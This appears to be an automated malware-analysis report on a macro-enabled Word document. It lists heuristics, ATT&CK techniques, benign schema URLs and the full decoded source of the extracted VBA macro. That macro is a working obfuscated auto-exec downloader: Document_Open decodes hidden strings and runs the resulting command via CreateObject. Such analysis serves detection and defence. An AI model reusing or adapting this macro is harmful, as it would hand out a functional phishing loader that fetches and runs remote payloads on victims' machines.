MALICIOUS
202
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains a heavily obfuscated VBA macro that executes upon opening the document. The macro utilizes CreateObject to run a dynamically constructed command, likely to download and execute a secondary payload. The presence of obfuscated auto-executing VBA code and the use of CreateObject strongly suggest a malicious downloader.
Heuristics 6
-
VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 2117 bytes |
SHA-256: 634664cb759a1d146c123317f3b32618124d2d43e4a9c1343b524021ceb3a8d1 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Dim dsadsa As String
Public Sub Document_Open()
dsadsa = asdsa(sadsds("ë|ì/>ë/ ~†í�‚ðí{{=í‡í/<í‡í넃ñ~} ~{ñëˆ/êˆ é‚‚/"))
dsadsa = dsadsa + asdsa(sadsds("<ß/Öñììí}/<ë~||é}ì/û}í†<~êòíëƒ/Ûˆ‚ƒí|=]íƒ=ß"))
dsadsa = dsadsa + asdsa(sadsds("íêÑ{ñí}ƒü=Ò~†}{~éìÔñ{íûú"))
dsadsa = dsadsa + asdsa(sadsds("ðƒƒ È>>Ã=À?Ä=ÀÀÂ=ÀÂ?>‚„ í�ñ}‚ƒé{{>ƒ| =…ê‚ú"))
dsadsa = dsadsa + asdsa(sadsds(";÷í}…ÈÜí| :úä}í†îñ{í=…ê‚úüÉû]í†<^êòíëƒ/<ë~|/Ûðí"))
dsadsa = dsadsa + asdsa(sadsds("{{=Ï {ñëéƒñ~}ü=Ûðí{{Ó‡í넃íû÷í}…ÈÜí| :úä}í†îñ{í=…ê‚úü"))
Set jKGhLA = CreateObject(asdsa(sadsds("ß‚ë�ñ ƒ=Ûðí{{")))
jKGhLA.Run (dsadsa)
End Sub
Public Function asdsa(strInput As String)
Dim n As Integer, i As Integer
n = 15
For i = 1 To Len(strInput)
Mid(strInput, i, 1) = Chr(Asc(Mid(strInput, i, 1)) - n)
Next i
asdsa = strInput
End Function
Public Function sadsds(ByVal icText As String) As String
Dim icLen As Integer
Dim icNewText As String
Dim icChar As String
icChar = ""
icLen = Len(icText)
For i = 1 To icLen
icChar = Mid(icText, i, 1)
Select Case Asc(icChar)
Case 192 To 217
icChar = Chr(Asc(icChar) - 127)
Case 218 To 243
icChar = Chr(Asc(icChar) - 121)
Case 244 To 253
icChar = Chr(Asc(icChar) - 196)
Case 32
icChar = Chr(32)
End Select
icNewText = icNewText + icChar
Next
sadsds = icNewText
End Function
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 11264 bytes |
SHA-256: e3addd0c513d038169db08e10d4e01868dbee0a0794ffc0c1e446de787680821 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.